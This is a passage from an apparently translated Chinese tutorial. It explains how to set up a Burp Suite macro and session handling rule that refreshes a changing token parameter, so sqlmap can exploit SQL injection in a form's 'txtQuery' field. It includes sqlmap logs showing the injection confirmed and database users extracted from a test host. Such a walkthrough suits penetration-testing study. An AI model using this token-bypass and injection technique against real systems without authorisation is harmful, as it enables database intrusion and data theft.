[16:42:45] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://10.99.10.20:8080/error.html?aspxerrorpath=/default.aspx'. Do you want to follow? [Y/n]
对sqlmap来说,这个情况看起来并没有什么希望。让我们继续看看会发生什么。
1 2 3 4
[16:45:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [16:45:58] [INFO] testing 'Oracle AND time-based blind' [16:45:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [16:45:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms'
“Define start and end”部分将被自动填充当我们在响应中高亮需要的值。其他的就按照默认值就可以了。点击OK直到关闭所有对话框。 现在我们生成了自己的macro。但是我们仍然需要实现一个会话処理规则(session handling rule)使macro在需要的时候执行。在Session标签中找到“Session Handling Rules”部分然后点击add按钮。
当对话框弹出时点击在“Rule Actions”下面的add按钮,在下拉菜单中选择“Run a Macro”。
然后“Session Handling Action Editor”就会出现。在这里我们选择自己的macro。 选择“Update only the following parameters”然后将我们的参数添加到这个列表中。如果我们想要基于macro修改COOKIEs,我们也可以将其添加到这里。在这个例子中并没有COOKIEs被设置。
在这里我们将要定义受规则影响的请求的范围。在“Tools Scope”中代理并没有被默认选中(如果没有设置好这会影响到每一个经过Burp的请求)。为了在sqlmap中使用这个规则,我们需要使这个规则在代理中启用。为了限制使用范围我们使用“Use suite scope”选项将其设置为只在测试站点使用。最后,我们限制“Parameter Scope”只影响包含token参数的请求,这是我们唯一要修改的。最后点击OK关闭对话框。 这些就是我们需要为sqlmap设置的所有选项。现在当sqlmap的请求经过Burp代理时,Burp就会先发送一个请求到服务器然后用从中得到的token参数替换sqlmap的post请求中的参数值。 N.B:Burp不会在代理历史中展示被修改的请求。如果你认为macro并未正确的工作。你需要在Session标签Project选项中打开sessin tracer。这个能够用来一步一步的移动每个请求然后你就可以观察请求中的变化了。 一旦macro被启动sqlmap就能够正确的在我们的网站中检测出SQL注入然后利用它。
1 2 3 4 5 6 7 8
[20:38:09] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable [20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' [20:38:19] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' injectable [20:38:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:38:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:38:19] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the range forcurrent UNION query injection technique test [20:38:19] [INFO] target URL appears to have 1 column in query
[20:41:46] [INFO] fetching database users [20:41:46] [WARNING] reflective value(s) found and filtering out [20:41:46] [INFO] the SQL query used returns 2 entries [20:41:46] [INFO] retrieved: animals [20:41:47] [INFO] retrieved: sa database management system users [2]: